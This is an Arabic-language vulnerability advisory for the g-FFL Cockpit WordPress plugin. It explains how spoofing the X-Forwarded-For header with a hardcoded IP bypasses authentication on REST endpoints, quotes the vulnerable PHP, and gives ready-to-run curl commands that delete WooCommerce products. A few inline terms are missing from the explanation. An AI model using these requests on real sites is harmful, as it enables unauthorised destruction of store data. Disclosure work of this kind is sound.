
g-FFL Cockpit <= 1.7.1 - تفويض غير صحيح لحذف منتج بدون مصادقة
لا يقوم إضافة g-FFL Cockpit بتنفيذ فحوص ترخيص مناسبة على نقاط نهاية REST API الخاصة بـ queue و process، مما يسمح للمستخدمين غير المصادق عليهم بحذف منتجات WooCommerce عشوائية عن طريق تزوير رؤوس HTTP لتجاوز المصادقة المستندة إلى IP.
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"
تستخدم نقاط نهاية REST API الخاصة بـ queue و مصادقة مستندة إلى IP يمكن تجاوزها عن طريق تزوير رؤوس HTTP مثل أو . تعتمد آلية المصادقة على التي تثق في الرؤوس التي يتحكم بها المستخدم، وتتحقق من عنوان IP ثابت مخزن في كود المصدر للإضافة.
X-Forwarded-ForCF-Connecting-IPموجود في class-sync-endpoint.php:
34: register_rest_route('fflcockpit/v1', '/queue', [
35: 'methods' => 'POST',
36: 'callback' => [__CLASS__, 'handle_enqueue_only'],
37: 'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38: ]);
تستخدم دالة fflcockpit_is_allowed() عنوان IP ثابت (base64: My4yMTIuMTg1LjE4Nw==، مفكوك: 3.212.185.187) وهو ظاهر في كود المصدر للإضافة.
مقتطف ضعيف من class-sync-endpoint.php:
11: private static function get_client_ip(): string {
12: $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13: if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14: // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15: $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16: $ip = trim($cf_ips[0]); // ⚠️ Trusts user-controlled header
17: } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18: $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19: $ip = trim($forwarded_ips[0]); // ⚠️ Trusts user-controlled header
20: }
21: return trim($ip);
22: }
تقوم دالة process_product() بتوجيه عمليات الحذف إلى sql_delete_product()، التي تقوم بحذف SQL مباشر لمنتجات WooCommerce.
تطبيق الحذف الضعيف من class-update-processor.php:
634: // Delete the product post
635: $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637: if ($deleted === false) {
638: $wpdb->query('ROLLBACK');
639: throw new Exception('Failed to delete product from database.');
640: }
641:
642: $deleted_items[] = "product_post";
643:
644: $wpdb->query('COMMIT');
ملاحظة: يتطلب g-FFL Cockpit WooCommerce
انتقل إلى موقع WordPress المستهدف المثبت عليه إضافة g-FFL Cockpit.
استخرج عنوان IP الثابت من كود المصدر للإضافة. عنوان IP مشفر بـ base64 كـ My4yMTIuMTg1LjE4Nw== في class-sync-endpoint.php، والذي يفك تشفيره إلى 3.212.185.187.
نفذ أوامر curl التالية لوضع حذف المنتج في قائمة الانتظار ومعالجته:
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
-H "X-Forwarded-For: 3.212.185.187" \
-H "Content-Type: application/json" \
-d '{"action": "delete", "products": [{"id": 105}]}'
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
-H "X-Forwarded-For: 3.212.185.187" \
-H "Content-Type: application/json"
{
"status": "completed"
}
يتم حذف المنتج نهائيًا من قاعدة بيانات WooCommerce، بما في ذلك جميع البيانات الوصفية المرتبطة، وعلاقات المصطلحات، والصور.